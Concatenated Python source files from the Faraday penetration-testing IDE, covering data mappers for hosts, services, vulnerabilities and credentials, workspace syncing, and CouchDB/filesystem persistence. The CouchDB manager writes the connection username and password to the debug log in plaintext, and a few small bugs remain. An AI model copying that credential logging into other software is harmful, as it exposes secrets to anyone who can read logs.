3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7 from persistence.mappers.abstract_mapper import AbstractMapper
8 from model.hosts import Host, Interface, Service
9 from model.common import ModelObjectNote, ModelObjectVuln, ModelObjectVulnWeb, ModelObjectCred, Metadata
10 from model.commands_history import CommandRunInformation
11 from model.workspace import Workspace
12
13
14 #Every mapper has to be registered in the dict at the end of the file
15
16
17 class ModelObjectMapper(AbstractMapper):
18 mapped_class = None
19 dummy_args = []
20 dummy_kwargs = {}
21
22 def __init__(self, mmanager, pmanager=None):
23 super(ModelObjectMapper, self).__init__(mmanager, pmanager)
24 self.children = []
25
26 def serialize(self, mobj):
27 return {
28 "type": mobj.class_signature,
29 "_id": mobj.getID(),
30 "name": mobj.getName(),
31 "owned": mobj.isOwned(),
32 "parent": mobj.getParent().getID() if mobj.getParent() is not None else None,
33 "owner": mobj.getOwner(),
34 "description": mobj.getDescription(),
35 "metadata": mobj.getMetadata().__dict__
36 }
37
38 def unserialize(self, mobj, doc):
39 self.children = self.findChildren(mobj.getID())
40 mobj.setName(doc.get("name"))
41 mobj.setOwned(doc.get("owned"))
42 if doc.get("parent", None):
43 mobj.setParent(self.mapper_manager.find(doc.get("parent")))
44 mobj.setOwner(doc.get("owner"))
45 mobj.setDescription(doc.get("description"))
46 mobj.setMetadata( Metadata('').fromDict(mobj.getMetadata().__dict__))
47 if self.children:
48 self.setNotes(mobj)
49 self.setVulns(mobj)
50 self.setCreds(mobj)
51 return mobj
52
53 def delete(self, mobj_id):
54 mobj = self.mapper_manager.find(mobj_id)
55 for child in mobj.getChilds().values():
56 self.mapper_manager.remove(child.getID())
57 super(ModelObjectMapper, self).delete(mobj_id)
58
59 def _loadChilds(self, type):
60 ids = [doc['_id']
61 for doc in self.children
62 if doc.get("type") == type]
63 mapper = self.mapper_manager.getMapper(type)
64 obj_dict = {}
65 for id in ids:
66 obj = mapper.load(id)
67 obj_dict[obj.getID()] = obj
68 return obj_dict
69
70 def setNotes(self, mobj):
71 mobj.setNotes(
72 self._loadChilds(ModelObjectNote.class_signature))
73
74 def setVulns(self, mobj):
75 vulns = self._loadChilds(ModelObjectVuln.class_signature)
76 vulns_web = self._loadChilds(ModelObjectVulnWeb.class_signature)
77 vulns.update(vulns_web)
78 mobj.setVulns(vulns)
79
80 def setCreds(self, mobj):
81 mobj.setCreds(
82 self._loadChilds(ModelObjectCred.class_signature))
83
84 def findForParent(self, obj_id):
85 return self.findByFilter(parent=obj_id, type=self.mapped_class.class_signature)
86
87 def findChildren(self, obj_id):
88 return self.getChildren(obj_id)
89 #return self.findByFilter(parent=obj_id, type=None)
90
91
92 class HostMapper(ModelObjectMapper):
93 mapped_class = Host
94 dummy_args = []
95 dummy_kwargs = {'name': 'dummy'}
96
97 def __init__(self, mmanager, pmanager=None):
98 super(HostMapper, self).__init__(mmanager, pmanager)
99
100 def serialize(self, host):
101 doc = super(HostMapper, self).serialize(host)
102 doc.update({
103 "os": host.getOS(),
104 "default_gateway": host.getDefaultGateway()
105 })
106 return doc
107
108 def unserialize(self, host, doc):
109 host.setOS(doc.get("os"))
110 host.setDefaultGateway(doc.get("default_gateway"))
111 super(HostMapper, self).unserialize(host, doc)
112 self.setInterfaces(host)
113 return host
114
115 def setInterfaces(self, host):
116 host.setInterfaces(
117 self._loadChilds(Interface.class_signature))
118
119
120 class InterfaceMapper(ModelObjectMapper):
121 mapped_class = Interface
122 dummy_args = []
123 dummy_kwargs = {'name': 'dummy'}
124
125 def __init__(self, mmanager, pmanager=None):
126 super(InterfaceMapper, self).__init__(mmanager, pmanager)
127
128 def serialize(self, iface):
129 doc = super(InterfaceMapper, self).serialize(iface)
130 doc.update({
131 "mac": iface.getMAC(),
132 "network_segment": iface.getNetworkSegment(),
133 "hostnames": [hname for hname in iface.getHostnames()],
134 "ipv4": iface.getIPv4(),
135 "ipv6": iface.getIPv6(),
136 "ports": {
137 "opened": iface.getPortsOpened(),
138 "closed": iface.getPortsClosed(),
139 "filtered": iface.getPortsFiltered(),
140 }
141 })
142 return doc
143
144 def unserialize(self, iface, doc):
145 iface.setMAC(doc.get("mac"))
146 iface.setNetworkSegment(doc.get("network_segment"))
147 for hostname in doc.get("hostnames"):
148 iface.addHostname(hostname)
149 iface.setIPv4(doc.get("ipv4"))
150 iface.setIPv6(doc.get("ipv6"))
151 iface.setPortsOpened(doc.get("ports").get("opened"))
152 iface.setPortsClosed(doc.get("ports").get("closed"))
153 iface.setPortsFiltered(doc.get("ports").get("filtered"))
154 super(InterfaceMapper, self).unserialize(iface, doc)
155 self.setServices(iface)
156 return iface
157
158 def setServices(self, iface):
159 iface.setServices(
160 self._loadChilds(Service.class_signature))
161
162
163 class ServiceMapper(ModelObjectMapper):
164 mapped_class = Service
165 dummy_args = []
166 dummy_kwargs = {'name': 'dummy'}
167
168 def __init__(self, mmanager, pmanager=None):
169 super(ServiceMapper, self).__init__(mmanager, pmanager)
170
171 def serialize(self, srv):
172 doc = super(ServiceMapper, self).serialize(srv)
173 doc.update({
174 "protocol": srv.getProtocol(),
175 "status": srv.getStatus(),
176 "version": srv.getVersion(),
177 "ports": [port for port in srv.getPorts()],
178 #"interfaces": [id for id in srv._getAllIDs("_interfaces")]
179 })
180 return doc
181
182 def unserialize(self, srv, doc):
183 srv.setProtocol(doc.get("protocol"))
184 srv.setStatus(doc.get("status"))
185 srv.setVersion(doc.get("version"))
186 for port in doc.get("ports"):
187 srv.addPort(int(port))
188 super(ServiceMapper, self).unserialize(srv, doc)
189 return srv
190
191
192 class NoteMapper(ModelObjectMapper):
193 mapped_class = ModelObjectNote
194 dummy_args = []
195 dummy_kwargs = {'name': 'dummy'}
196
197 def __init__(self, mmanager, pmanager=None):
198 super(NoteMapper, self).__init__(mmanager, pmanager)
199
200 def serialize(self, note):
201 doc = super(NoteMapper, self).serialize(note)
202 doc.update({
203 "text": note.getText()
204 })
205 return doc
206
207 def unserialize(self, note, doc):
208 note.setText(doc.get("text"))
209 super(NoteMapper, self).unserialize(note, doc)
210 return note
211
212
213 class VulnMapper(ModelObjectMapper):
214 mapped_class = ModelObjectVuln
215 dummy_args = []
216 dummy_kwargs = {'name': 'dummy'}
217
218 def __init__(self, mmanager, pmanager=None):
219 super(VulnMapper, self).__init__(mmanager, pmanager)
220
221 def serialize(self, vuln):
222 doc = super(VulnMapper, self).serialize(vuln)
223 doc.update({
224 "desc": vuln.getDesc(),
225 "severity": vuln.getSeverity(),
226 "refs": vuln.getRefs(),
227 "data": vuln.getData()
228 })
229 return doc
230
231 def unserialize(self, vuln, doc):
232 vuln.setDesc(doc.get("desc"))
233 vuln.setSeverity(doc.get("severity"))
234 vuln.setRefs(doc.get("refs"))
235 vuln.setData(doc.get("data", ""))
236 super(VulnMapper, self).unserialize(vuln, doc)
237 return vuln
238
239
240 class VulnWebMapper(VulnMapper):
241 mapped_class = ModelObjectVulnWeb
242 dummy_args = []
243 dummy_kwargs = {'name': 'dummy'}
244
245 def __init__(self, mmanager, pmanager=None):
246 super(VulnWebMapper, self).__init__(mmanager, pmanager)
247
248 def serialize(self, vuln_web):
249 doc = super(VulnWebMapper, self).serialize(vuln_web)
250 doc.update({
251 "website": vuln_web.getWebsite(),
252 "path": vuln_web.getPath(),
253 "request": vuln_web.getRequest(),
254 "response": vuln_web.getResponse(),
255 "method": vuln_web.getMethod(),
256 "pname": vuln_web.getPname(),
257 "params": vuln_web.getParams(),
258 "query": vuln_web.getQuery(),
259 "category": vuln_web.getCategory()
260 })
261 return doc
262
263 def unserialize(self, vuln_web, doc):
264 vuln_web.setWebsite(doc.get("website"))
265 vuln_web.setPath(doc.get("path"))
266 vuln_web.setRequest(doc.get("request"))
267 vuln_web.setResponse(doc.get("response"))
268 vuln_web.setMethod(doc.get("method"))
269 vuln_web.setPname(doc.get("pname"))
270 vuln_web.setParams(doc.get("params"))
271 vuln_web.setQuery(doc.get("query"))
272 vuln_web.setCategory(doc.get("category"))
273 super(VulnWebMapper, self).unserialize(vuln_web, doc)
274 return vuln_web
275
276
277 class CredMapper(ModelObjectMapper):
278 mapped_class = ModelObjectCred
279 dummy_args = []
280 dummy_kwargs = {}
281
282 def __init__(self, mmanager, pmanager=None):
283 super(CredMapper, self).__init__(mmanager, pmanager)
284
285 def serialize(self, cred):
286 doc = super(CredMapper, self).serialize(cred)
287 doc.update({
288 "username": cred.getUsername(),
289 "password": cred.getPassword()
290 })
291 return doc
292
293 def unserialize(self, cred, doc):
294 cred.setUsername(doc.get("username"))
295 cred.setPassword(doc.get("password"))
296 super(CredMapper, self).unserialize(cred, doc)
297 return cred
298
299
300 class CommandRunMapper(AbstractMapper):
301 mapped_class = CommandRunInformation
302 dummy_args = []
303 dummy_kwargs = {}
304
305 def __init__(self, mmanager, pmanager=None):
306 super(CommandRunMapper, self).__init__(mmanager, pmanager)
307
308 def serialize(self, obj):
309 return obj.__dict__
310
311 def unserialize(self, cmd, doc):
312 for k, v in doc.items():
313 setattr(cmd, k, v)
314 return cmd
315
316
317 class WorkspaceMapper(AbstractMapper):
318 mapped_class = Workspace
319 dummy_args = []
320 dummy_kwargs = {'name': 'dummy'}
321
322 def __init__(self, mmanager, pmanager=None):
323 super(WorkspaceMapper, self).__init__(mmanager, pmanager)
324
325 def serialize(self, obj):
326 return {
327 "type": obj.class_signature,
328 "_id": obj.getID(),
329 "name": obj.getName(),
330 "description": obj.getDescription(),
331 "customer": obj.getCustomer(),
332 "sdate": obj.getStartDate(),
333 "fdate": obj.getFinishDate()
334 }
335
336 def findChildren(self, obj_id):
337 return self.findByFilter(parent=obj_id, type=None)
338
339 def unserialize(self, workspace, doc):
340 children = self.findChildren(
341 workspace.getID()) + self.findChildren(None) + self.findChildren("None")
342 workspace.setName(doc.get("name", doc.get("_id")))
343 workspace.setDescription(doc.get("description"))
344 workspace.setCustomer(doc.get("customer"))
345 workspace.setStartDate(doc.get("sdate"))
346 workspace.setFinishDate(doc.get("fdate"))
347 self.setHosts(workspace, children)
348 return workspace
349
350 def setHosts(self, workspace, docs):
351 ids = [doc['_id']
352 for doc in docs
353 if doc.get("type") == Host.class_signature]
354 mapper = self.mapper_manager.getMapper(Host.class_signature)
355 host_dict = {}
356 for id in ids:
357 host = mapper.load(id)
358 host_dict[host.getID()] = host
359
360 workspace.setHosts(host_dict)
361
362
363 Mappers = {
364 Host.class_signature: HostMapper,
365 Interface.class_signature: InterfaceMapper,
366 Service.class_signature: ServiceMapper,
367 ModelObjectNote.class_signature: NoteMapper,
368 ModelObjectVuln.class_signature: VulnMapper,
369 ModelObjectVulnWeb.class_signature: VulnWebMapper,
370 ModelObjectCred.class_signature: CredMapper,
371 CommandRunInformation.class_signature: CommandRunMapper,
372 Workspace.class_signature: WorkspaceMapper
373 }
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7 import model
8 import threading
9 import traceback
10 from controllers.change import ChangeController
11
12
13 class WorkspacePersister(object):
14 _instance = None
15 _persister = None
16 _workspace = None
17 _workspace_autoloader = None
18 _pending_actions = None
19 _change_controller = ChangeController()
20
21 def __new__(cls, *args, **kargs):
22 if cls._instance is None:
23 cls._instance = object.__new__(cls, *args, **kargs)
24 return cls._instance
25
26 def setPersister(self, workspace, persister):
27 WorkspacePersister._persister = persister
28 WorkspacePersister._workspace = workspace
29 WorkspacePersister._change_controller.setWorkspace(workspace)
30 WorkspacePersister._workspace_autoloader = WorkspaceAutoSync(self.loadChanges, self.backendChangeListener)
31 WorkspacePersister._workspace_autoloader.start()
32 WorkspacePersister._pending_actions = PendingTransactionsQueue()
33
34 @staticmethod
35 def stopThreads():
36 WorkspacePersister._workspace_autoloader.stop()
37
38 def loadChanges(self, changes):
39 self._change_controller.loadChanges(changes)
40
41 def reloadWorkspace(self):
42 WorkspacePersister._workspace.load()
43
44 @staticmethod
45 def addPendingAction(obj, func, args, kwargs):
46 if "wait" not in func.__name__:
47 WorkspacePersister._pending_actions.pushPendingTransaction(obj, func, args, kwargs)
48
49 @staticmethod
50 def reExecutePendingActions():
51 for (obj, func, args, kwargs) in WorkspacePersister._pending_actions:
52 func(obj, *args, **kwargs)
53
54 model.api.devlog("Re executing")
55
56 @staticmethod
57 def notifyPersisterConnectionLost():
58 WorkspacePersister._workspace.notifyWorkspaceNoConnection()
59
60 def backendChangeListener(self):
61 changes = WorkspacePersister._persister.waitForDBChange(WorkspacePersister._workspace.name)
62 return changes
63
64 @staticmethod
65 def save(obj):
66 if WorkspacePersister._workspace is not None:
67 WorkspacePersister._workspace.saveObj(obj)
68
69 @staticmethod
70 def delete(obj):
71 if WorkspacePersister._workspace:
72 WorkspacePersister._workspace.delObj(obj)
73
74 class WorkspaceAutoSync(threading.Thread):
75 def __init__(self, action_callback, listener):
76 threading.Thread.__init__(self)
77 self.setDaemon(True)
78 self._stop = False
79 self._listener = listener
80 self._action = action_callback
81
82 def run(self):
83 while not self._stop:
84 try:
85 result = self._listener()
86 if result:
87 model.api.devlog("Changes found: %s" % result)
88 self._action(result)
89 except Exception, e:
90 model.api.devlog("An exception was captured while saving workspaces\n%s" % traceback.format_exc())
91
92 def stop(self):
93 self._stop = True
94
95 def start(self):
96 self._stop = False
97 threading.Thread.start(self)
98
99
100 class PendingTransactionsQueue(object):
101 def __init__(self):
102 self.pending = []
103
104 def pushPendingTransaction(self, obj, func, args, kwargs):
105 self.pending.insert(0, (obj, func, args, kwargs))
106
107 def __iter__(self):
108 return self
109
110 def next(self):
111 try:
112 return self.pending.pop()
113 except IndexError:
114 raise StopIteration
115
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7 import json
8 import os
9 import shutil
10 import mockito
11 import threading
12 from urlparse import urlparse
13 import traceback
14 from couchdbkit import Server, ChangesStream, Database
15 from couchdbkit.resource import ResourceNotFound
16
17 from utils.logs import getLogger
18 from managers.all import ViewsManager
19
20 #from persistence.change import change_factory
21
22 from config.configuration import getInstanceConfiguration
23 CONF = getInstanceConfiguration()
24
25
26 class DBTYPE(object):
27 COUCHDB = 1
28 FS = 2
29
30
31 class ConnectorContainer(object):
32 def __init__(self, name, connector, type):
33 self._connector = connector
34 self.type = type
35 self._name = name
36
37 def getType(self):
38 return self.type
39
40 def connector(self):
41 if self._connector.__class__.__name__ == 'function':
42 self._connector = self._connector(self._name)
43 return self._connector
44
45
46 class DbManager(object):
47
48 def __init__(self):
49 self.load()
50
51 def load(self):
52 self.couchmanager = CouchDbManager(CONF.getCouchURI())
53 self.fsmanager = FileSystemManager()
54 self.managers = {
55 DBTYPE.COUCHDB: self.couchmanager,
56 DBTYPE.FS: self.fsmanager
57 }
58 self.dbs = {}
59 self._loadDbs()
60
61 def getAvailableDBs(self):
62 return [typ for typ, manag in self.managers.items()\
63 if manag.isAvailable()]
64
65 def _loadDbs(self):
66 self.dbs = {}
67 for dbname, connector in self.fsmanager.getDbs().items():
68 self.dbs[dbname] = ConnectorContainer(dbname, connector, DBTYPE.FS)
69 for dbname, connector in self.couchmanager.getDbs().items():
70 self.dbs[dbname] = ConnectorContainer(dbname, connector, DBTYPE.COUCHDB)
71
72 def _getManagerByType(self, dbtype):
73 if dbtype == DBTYPE.COUCHDB:
74 manager = self.couchmanager
75 else:
76 manager = self.fsmanager
77 return manager
78
79 def getConnector(self, name):
80 # This returns a method that creates a connector
81 # It's for lazy initalization in _loadDbs
82 return self.dbs.get(name).connector()
83
84 def connectorExists(self, name):
85 return name in self.dbs.keys()
86
87 def createDb(self, name, dbtype):
88 if self.connectorExists(name):
89 return False
90 manager = self._getManagerByType(dbtype)
91 self.addConnector(name, manager.createDb(name), dbtype)
92 return self.getConnector(name)
93
94 def addConnector(self, name, connector, dbtype):
95 self.dbs[name] = ConnectorContainer(name, connector, dbtype)
96
97 def getAllDbNames(self):
98 self.refreshDbs()
99 return self.dbs.keys()
100
101 def refreshDbs(self):
102 self.fsmanager.refreshDbs()
103 self.couchmanager.refreshDbs()
104 for dbname, connector in self.fsmanager.getDbs().items():
105 if dbname not in self.dbs.keys():
106 self.dbs[dbname] = ConnectorContainer(dbname, connector, DBTYPE.FS)
107 for dbname, connector in self.couchmanager.getDbs().items():
108 if dbname not in self.dbs.keys():
109 self.dbs[dbname] = ConnectorContainer(dbname, connector, DBTYPE.COUCHDB)
110
111 def removeDb(self, name):
112 connector = self.getConnector(name)
113 self._getManagerByType(connector.getType()).deleteDb(name)
114 del self.dbs[name]
115 return True
116
117 def getDbType(self, dbname):
118 return self.dbs.get(dbname).getType()
119
120 def reloadConfig(self):
121 self.load()
122
123 class DbConnector(object):
124 def __init__(self, type=None):
125 self.changes_callback = None
126 self.type = type
127
128 def getType(self):
129 return self.type
130
131 def setChangesCallback(self, callback):
132 self.changes_callback = callback
133
134 def waitForDBChange(self):
135 pass
136
137 def forceUpdate(self):
138 pass
139
140 def saveDocument(self, document):
141 raise NotImplementedError("DbConnector should not be used directly")
142
143 def getDocument(self, documentId):
144 raise NotImplementedError("DbConnector should not be used directly")
145
146 def remove(self, documentId):
147 raise NotImplementedError("DbConnector should not be used directly")
148
149 def getDocsByFilter(self, parentId, type):
150 raise NotImplementedError("DbConnector should not be used directly")
151
152 def getChildren(self, document_id):
153 raise NotImplementedError("DbConnector should not be used directly")
154
155
156 class FileSystemConnector(DbConnector):
157 def __init__(self, base_path):
158 super(FileSystemConnector, self).__init__(type=DBTYPE.FS)
159 self.path = base_path
160 self._available = True
161
162 def saveDocument(self, dic):
163 try:
164 filepath = os.path.join(self.path, "%s.json" % dic.get("_id", ))
165 getLogger(self).debug(
166 "Saving document in local db %s" % self.path)
167 with open(filepath, "w") as outfile:
168 json.dump(dic, outfile, indent=2)
169 return True
170 except Exception:
171 #log Exception?
172 return False
173
174 def getDocument(self, document_id):
175 getLogger(self).debug(
176 "Getting document %s for local db %s" % (document_id, self.path))
177 path = os.path.join(self.path, "%s.json" % document_id)
178 doc = None
179 try:
180 doc = open(path, "r")
181 doc = json.loads(doc.read())
182 except IOError:
183 doc = None
184 finally:
185 return doc
186
187 def remove(self, document_id):
188 path = os.path.join(self.path, "%s.json" % document_id)
189 if os.path.isfile(path):
190 os.remove(path)
191
192 def getDocsByFilter(self, parentId, type):
193 result = []
194 for name in os.listdir(self.path):
195 path = os.path.join(self.path, name)
196 document = open(path, "r")
197 data = json.loads(document.read())
198 if data.get("parent", None) == parentId:
199 if data.get("type", None) == type or not type:
200 result.append(data)
201 return result
202
203 def getChildren(self, document_id):
204 result = []
205 for name in os.listdir(self.path):
206 path = os.path.join(self.path, name)
207 document = open(path, "r")
208 data = json.loads(document.read())
209 if data.get("parent", None) == document_id:
210 result.append(data)
211 return result
212
213
214 class CouchDbConnector(DbConnector):
215 # This ratio represents (db size / num of docs)
216 # to compact the database when the size is too high
217 MAXIMUM_RATIO_SIZE = 10000
218 # This value represents the number of maximum saves
219 # before we try to compact the db
220 MAXIMUM_SAVES = 1000
221
222 def __init__(self, db, seq_num=0):
223 super(CouchDbConnector, self).__init__(type=DBTYPE.COUCHDB)
224 self.db = db
225 self.saves_counter = 0
226 #self.seq_num = seq_num
227 self.mutex = threading.Lock()
228 vmanager = ViewsManager()
229 vmanager.addViews(self.db)
230 self._docs = {}
231 self._compactDatabase()
232 self.seq_num = self.db.info()['update_seq']
233 # self._tree = self._createTree(self.getDocs())
234
235 def getDocs(self):
236 if len(self._docs.keys()) == 0:
237 # TODO: change this.
238 # backwards compatibility. ugly, but needed
239 self._docs["orphan"] = {}
240 self._docs["orphan"]["children"] = []
241 for doc in self.getAllDocs():
242 self.addDoc(doc)
243 return self._docs
244
245 def addDoc(self, doc):
246 id = doc["_id"]
247 doc["children"] = []
248 if self._docs.get(id, None):
249 doc["children"] = self._docs[id]["children"]
250 self._docs[id] = doc
251
252 parent_id = doc.get("parent", None)
253 # TODO: change this.
254 # backwards compatibility. ugly, but needed
255 if not parent_id or parent_id == "None":
256 parent_id = "orphan"
257 if parent_id in self._docs.keys():
258 self._docs[parent_id]["children"].append(
259 self._docs[doc["_id"]])
260
261 def delDoc(self, doc_id):
262 doc = self._docs[doc_id]
263 parent_id = doc.get("parent", None)
264 # TODO: change this.
265 # backwards compatibility. ugly, but needed
266 if not parent_id or parent_id == "None":
267 parent_id == "orphan"
268 if parent_id in self._docs.keys():
269 self._docs[parent_id]["children"].remove(doc)
270 del self._docs[doc_id]
271
272 def _ratio(self):
273 return self.db.info()['disk_size'] / self.db.info()['doc_count']
274
275 #@trap_timeout
276 def saveDocument(self, document):
277 self.incrementSeqNumber()
278 getLogger(self).debug(
279 "Saving document in couch db %s" % self.db)
280 res = self.db.save_doc(document, use_uuids=True, force_update=True)
281 if res:
282 self.saves_counter += 1
283 self.addDoc(document)
284 if self.saves_counter > self.MAXIMUM_SAVES:
285 self._compactDatabase()
286 self.saves_counter = 0
287 return res
288
289 def forceUpdate(self):
290 doc = self.getDocument(self.db.dbname)
291 return self.db.save_doc(doc, use_uuids=True, force_update=True)
292
293 #@trap_timeout
294 def getDocument(self, document_id):
295 # getLogger(self).debug(
296 # "Getting document %s for couch db %s" % (document_id, self.db))
297 doc = self.getDocs().get(document_id, None)
298 if not doc:
299 if self.db.doc_exist(document_id):
300 doc = self.db.get(document_id)
301 self.addDoc(doc)
302 return doc
303
304 #@trap_timeout
305 def remove(self, document_id):
306 if self.db.doc_exist(document_id):
307 self.incrementSeqNumber()
308 self.db.delete_doc(document_id)
309 self.delDoc(document_id)
310
311 def getChildren(self, document_id):
312 return self._docs[document_id]["children"]
313
314 #@trap_timeout
315 def getDocsByFilter(self, parentId, type):
316 if not type:
317 key = None
318 if parentId:
319 key = '%s' % parentId
320 view = 'mapper/byparent'
321 #print "query: view -> %s, key -> %s" % (view, key)
322 else:
323 key = ['%s' % parentId, '%s' % type]
324 view = 'mapper/byparentandtype'
325
326 values = [doc.get("value") for doc in self.db.view(view, key=key)]
327 return values
328
329 #@trap_timeout
330 def getAllDocs(self):
331 docs = [doc.get("value") for doc in self.db.view('utils/docs')]
332 return docs
333
334 def incrementSeqNumber(self):
335 self.mutex.acquire()
336 self.seq_num += 1
337 self.mutex.release()
338
339 def getSeqNumber(self):
340 return self.seq_num
341
342 def setSeqNumber(self, seq_num):
343 self.seq_num = seq_num
344
345 #@trap_timeout
346 def waitForDBChange(self, since=0):
347 getLogger(self).debug(
348 "Watching for changes")
349 while True:
350 last_seq = max(self.getSeqNumber(), since)
351 self.stream = ChangesStream(
352 self.db,
353 feed="continuous",
354 since=last_seq,
355 heartbeat=True)
356 try:
357 for change in self.stream:
358 if not self.changes_callback:
359 return
360 if not change.get('last_seq', None):
361 if change['seq'] > self.getSeqNumber():
362 self.setSeqNumber(change['seq'])
363 if not change['id'].startswith('_design'):
364 getLogger(self).debug(
365 "Changes from another instance")
366 deleted = bool(change.get('deleted', False))
367 revision = change.get("changes")[-1].get('rev')
368 obj_id = change.get('id')
369 if not deleted:
370 # update cache
371 doc = self.db.get(obj_id)
372 self.addDoc(doc)
373 self.changes_callback(obj_id, revision, deleted)
374 except Exception as e:
375 getLogger(self).info("Some exception happened while waiting for changes")
376 getLogger(self).info(" The exception was: %s" % e)
377
378 #@trap_timeout
379 def _compactDatabase(self):
380 self.db.compact()
381
382
383 class AbstractPersistenceManager(object):
384 def __init__(self):
385 self.dbs = {}
386
387 def createDb(self, name):
388 if not self.getDb(name):
389 self.dbs[name] = self._create(name)
390 return self.dbs[name]
391
392 def _loadDbs(self):
393 raise NotImplementedError("AbstractPersistenceManager should not be used directly")
394
395 def refreshDbs(self):
396 self._loadDbs()
397
398 def _create(self, name):
399 raise NotImplementedError("AbstractPersistenceManager should not be used directly")
400
401 def deleteDb(self, name):
402 if self.getDb(name):
403 self._delete(name)
404 del self.dbs[name]
405 return True
406 return False
407
408 def _delete(self, name):
409 raise NotImplementedError("AbstractPersistenceManager should not be used directly")
410
411 def getDbNames(self):
412 return self.dbs.keys()
413
414 def getDbs(self):
415 return self.dbs
416
417 def getDb(self, name):
418 return self.dbs.get(name, None)
419
420 def isAvailable(self):
421 return self._available
422
423
424 class FileSystemManager(AbstractPersistenceManager):
425 """
426 This is a file system manager for the workspace,
427 it will load from the provided FS
428 """
429 def __init__(self, path=CONF.getPersistencePath()):
430 super(FileSystemManager, self).__init__()
431 getLogger(self).debug(
432 "Initializing FileSystemManager for path [%s]" % path)
433 self._path = path
434 if not os.path.exists(self._path):
435 os.mkdir(self._path)
436 self._loadDbs()
437 self._available = True
438
439 def _create(self, name):
440 wpath = os.path.expanduser("~/.faraday/persistence/%s" % name)
441 if not os.path.exists(wpath):
442 os.mkdir(wpath)
443 return FileSystemConnector(wpath)
444 return None
445
446 def _delete(self, name):
447 if os.path.exists(os.path.join(self._path, name)):
448 shutil.rmtree(os.path.join(self._path, name))
449
450 def _loadDbs(self):
451 for name in os.listdir(CONF.getPersistencePath()):
452 if os.path.isdir(os.path.join(CONF.getPersistencePath(), name)):
453 if name not in self.dbs.keys():
454 self.dbs[name] = lambda x: self._loadDb(x)
455
456 def _loadDb(self, name):
457 self.dbs[name] = FileSystemConnector(os.path.join(self._path,
458 name))
459 return self.dbs[name]
460
461
462 class NoCouchDBError(Exception):
463 pass
464
465
466 class NoConectionServer(object):
467 """ Default to this server if no conectivity"""
468 def create_db(*args):
469 pass
470
471 def all_dbs(*args, **kwargs):
472 return []
473
474 def get_db(*args):
475 db_mock = mockito.mock(Database)
476 mockito.when(db_mock).documents().thenReturn([])
477 return db_mock
478
479 def replicate(*args, **kwargs):
480 pass
481
482 def delete_db(*args):
483 pass
484
485
486 class CouchDbManager(AbstractPersistenceManager):
487 """
488 This is a couchdb manager for the workspace,
489 it will load from the couchdb databases
490 """
491 def __init__(self, uri):
492 super(CouchDbManager, self).__init__()
493 getLogger(self).debug(
494 "Initializing CouchDBManager for url [%s]" % uri)
495 self._lostConnection = False
496 self.__uri = uri
497 self.__serv = NoConectionServer()
498 self._available = False
499 try:
500 if uri is not None:
501 self.testCouchUrl(uri)
502 url = urlparse(uri)
503 getLogger(self).debug(
504 "Setting user,pass %s %s" % (url.username, url.password))
505 self.__serv = Server(uri=uri)
506 self.__serv.resource_class.credentials = (url.username, url.password)
507 self._available = True
508 self.pushReports()
509 self._loadDbs()
510 except:
511 getLogger(self).warn("No route to couchdb server on: %s" % uri)
512 getLogger(self).debug(traceback.format_exc())
513
514 #@trap_timeout
515 def _create(self, name):
516 db = self.__serv.create_db(name.lower())
517 return CouchDbConnector(db)
518
519 #@trap_timeout
520 def _delete(self, name):
521 self.__serv.delete_db(name)
522
523 #@trap_timeout
524 def _loadDbs(self):
525 conditions = lambda x: not x.startswith("_") and x != 'reports'
526 for dbname in filter(conditions, self.__serv.all_dbs()):
527 if dbname not in self.dbs.keys():
528 getLogger(self).debug(
529 "Asking for dbname[%s], registering for lazy initialization" % dbname)
530 self.dbs[dbname] = lambda x: self._loadDb(x)
531
532 def _loadDb(self, dbname):
533 db = self.__serv.get_db(dbname)
534 seq = db.info()['update_seq']
535 self.dbs[dbname] = CouchDbConnector(db, seq_num=seq)
536 return self.dbs[dbname]
537
538
539 #@trap_timeout
540 def pushReports(self):
541 vmanager = ViewsManager()
542 reports = os.path.join(os.getcwd(), "views", "reports")
543 workspace = self.__serv.get_or_create_db("reports")
544 vmanager.addView(reports, workspace)
545 return self.__uri + "/reports/_design/reports/index.html"
546
547 def lostConnectionResolv(self):
548 self._lostConnection = True
549 self.__dbs.clear()
550 self.__serv = NoConectionServer()
551
552 def reconnect(self):
553 ret_val = False
554 ur = self.__uri
555 if CouchDbManager.testCouch(ur):
556 self.__serv = Server(uri = ur)
557 self.__dbs.clear()
558 self._lostConnection = False
559 ret_val = True
560
561 return ret_val
562
563 @staticmethod
564 def testCouch(uri):
565 if uri is not None:
566 host, port = None, None
567 try:
568 import socket
569 url = urlparse(uri)
570 proto = url.scheme
571 host = url.hostname
572 port = url.port
573
574 port = port if port else socket.getservbyname(proto)
575 s = socket.socket()
576 s.settimeout(1)
577 s.connect((host, int(port)))
578 except:
579 return False
580 #getLogger(CouchdbManager).info("Connecting Couch to: %s:%s" % (host, port))
581 return True
582
583 def testCouchUrl(self, uri):
584 if uri is not None:
585 url = urlparse(uri)
586 proto = url.scheme
587 host = url.hostname
588 port = url.port
589 self.test(host, int(port))
590
591 def test(self, address, port):
592 import socket
593 s = socket.socket()
594 s.settimeout(1)
595 s.connect((address, port))
596
597 #@trap_timeout
598 def replicate(self, workspace, *targets_dbs, **kwargs):
599 getLogger(self).debug("Targets to replicate %s" % str(targets_dbs))
600 for target_db in targets_dbs:
601 src_db_path = "/".join([self.__uri, workspace])
602 dst_db_path = "/".join([target_db, workspace])
603 try:
604 getLogger(self).info("workspace: %s, src_db_path: %s, dst_db_path: %s, **kwargs: %s" % (workspace, src_db_path, dst_db_path, kwargs))
605 self.__peerReplication(workspace, src_db_path, dst_db_path, **kwargs)
606 except ResourceNotFound as e:
607 raise e
608 except Exception as e:
609 getLogger(self).error(e)
610 raise
611
612 def __peerReplication(self, workspace, src, dst, **kwargs):
613 mutual = kwargs.get("mutual", True)
614 continuous = kwargs.get("continuous", True)
615 ct = kwargs.get("create_target", True)
616
617 self.__serv.replicate(workspace, dst, mutual = mutual, continuous = continuous, create_target = ct)
618 if mutual:
619 self.__serv.replicate(dst, src, continuous = continuous, **kwargs)
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
